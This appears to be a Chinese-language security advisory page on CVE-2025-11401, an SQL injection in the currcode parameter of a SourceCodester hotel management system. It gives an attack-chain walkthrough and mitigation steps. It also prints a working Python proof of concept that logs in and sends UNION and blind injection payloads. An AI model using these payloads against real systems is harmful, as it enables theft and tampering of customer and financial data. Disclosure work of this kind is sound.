IPBUF安全漏洞报告
English
CVE-2025-11401 CVSS 6.3 中危

CVE-2025-11401:SourceCodester酒店管理系统SQL注入漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11401
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

SQL注入SourceCodester酒店管理系统CVE-2025-11401中危漏洞Web应用漏洞PHP数据库安全

漏洞概述

CVE-2025-11401是SourceCodester酒店与旅馆管理系统(Hotel and Lodge Management System)1.0版本中存在的一个SQL注入漏洞。该漏洞位于系统的/pages/save_curr.php文件中,攻击者可以通过操控currcode参数实施SQL注入攻击。该漏洞由VulDB社区的研究员发现并披露,披露日期为2025年10月7日。

根据CVSS 3.1评分体系,该漏洞评分为6.3分,属于中危级别。攻击者可以通过网络远程发起攻击,仅需要低权限账户即可执行,无需用户交互。成功利用该漏洞后,攻击者能够对数据库进行未授权的读取、修改和删除操作,导致系统机密性、完整性和可用性均受到低程度的影响。

SourceCodester是一个提供免费源码下载的平台,其酒店与旅馆管理系统是一款面向小型酒店和旅馆的业务管理软件,包含客房管理、预订管理、客户管理、账单管理等功能。由于该系统通常部署在小型企业的内部网络中,且涉及客户敏感信息和财务数据,一旦遭受SQL注入攻击,可能导致客户数据泄露、财务记录被篡改等严重后果。值得注意的是,该漏洞的利用代码已被公开发布,攻击门槛较低,安全风险不容忽视。

技术细节

该SQL注入漏洞存在于SourceCodester酒店与旅馆管理系统1.0版本的/pages/save_curr.php文件中。具体而言,漏洞产生的原因是该文件在处理currcode(货币代码)参数时,未对该参数进行充分的输入验证和过滤,直接将用户输入的数据拼接到SQL查询语句中执行。

从技术层面分析,攻击者可以通过构造恶意的SQL语句作为currcode参数的值,注入到后端数据库查询中。由于系统未使用参数化查询(Prepared Statements)或存储过程,也未对特殊字符(如单引号、双引号、分号、注释符等)进行转义处理,攻击者可以利用经典的SQL注入技术(如UNION联合查询、布尔盲注、时间盲注等)从数据库中提取敏感信息。

利用条件方面,攻击者需要拥有低权限账户(PR:L),这意味着未授权用户可能无法直接利用,但已注册的低权限用户(如普通员工账户)即可发起攻击。攻击通过网络进行(AV:N),攻击复杂度低(AC:L),无需用户交互(UI:N),使得自动化批量攻击成为可能。

成功利用后,攻击者可以读取数据库中的用户凭证、客户信息、预订记录等敏感数据,修改或删除关键业务数据,甚至在某些数据库配置下实现远程代码执行(RCE),对系统安全构成严重威胁。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别目标系统为SourceCodester酒店与旅馆管理系统1.0版本,并确认目标部署了存在漏洞的/pages/save_curr.php文件。
STEP 2
步骤2:获取低权限账户
攻击者通过社会工程学、暴力破解或购买泄露的凭证等方式获取系统的低权限用户账户(如普通员工账户)。
STEP 3
步骤3:构造注入Payload
攻击者针对currcode参数构造恶意的SQL注入Payload,如使用UNION联合查询提取数据库信息,或使用布尔盲注、时间盲注等技术绕过防护。
STEP 4
步骤4:发送恶意请求
攻击者通过认证后的会话向/pages/save_curr.php发送包含恶意currcode参数的POST请求,触发SQL注入漏洞。
STEP 5
步骤5:数据提取与利用
成功利用漏洞后,攻击者从数据库中提取用户凭证、客户信息、财务数据等敏感信息,或修改/删除关键业务数据,进一步实施横向移动或权限提升攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11401 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability: SQL Injection in /pages/save_curr.php via currcode parameter # CVSS: 6.3 (MEDIUM) import requests TARGET_URL = "http://target-host.com" LOGIN_URL = f"{TARGET_URL}/login.php" SAVE_CURR_URL = f"{TARGET_URL}/pages/save_curr.php" # Step 1: Authenticate with low-privilege credentials session = requests.Session() login_data = { "username": "user", "password": "password" } session.post(LOGIN_URL, data=login_data) # Step 2: Craft SQL injection payload for currcode parameter # The currcode parameter is vulnerable to SQL injection sql_payload = "USD' UNION SELECT 1,user(),database(),version(),5,6,7,8-- -" # Step 3: Send malicious request to trigger SQL injection injection_data = { "currcode": sql_payload } response = session.post(SAVE_CURR_URL, data=injection_data) # Step 4: Analyze response for extracted data print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Alternative: Boolean-based blind SQL injection payload blind_payload = "USD' AND 1=1-- -" # True condition # blind_payload = "USD' AND 1=2-- -" # False condition injection_data = { "currcode": blind_payload } response = session.post(SAVE_CURR_URL, data=injection_data) print(f"Blind Injection Response: {response.text}")

影响范围

SourceCodester Hotel and Lodge Management System 1.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)对/pages/save_curr.php文件中的currcode参数进行严格的输入验证,仅允许字母数字字符,拒绝包含SQL关键字和特殊字符的输入;2)在Web服务器层面部署WAF规则,拦截常见的SQL注入Payload;3)限制/pages/save_curr.php文件的访问权限,仅允许必要的IP地址访问;4)监控系统日志,及时发现异常的数据库查询行为;5)尽快联系SourceCodester官方获取安全补丁或升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表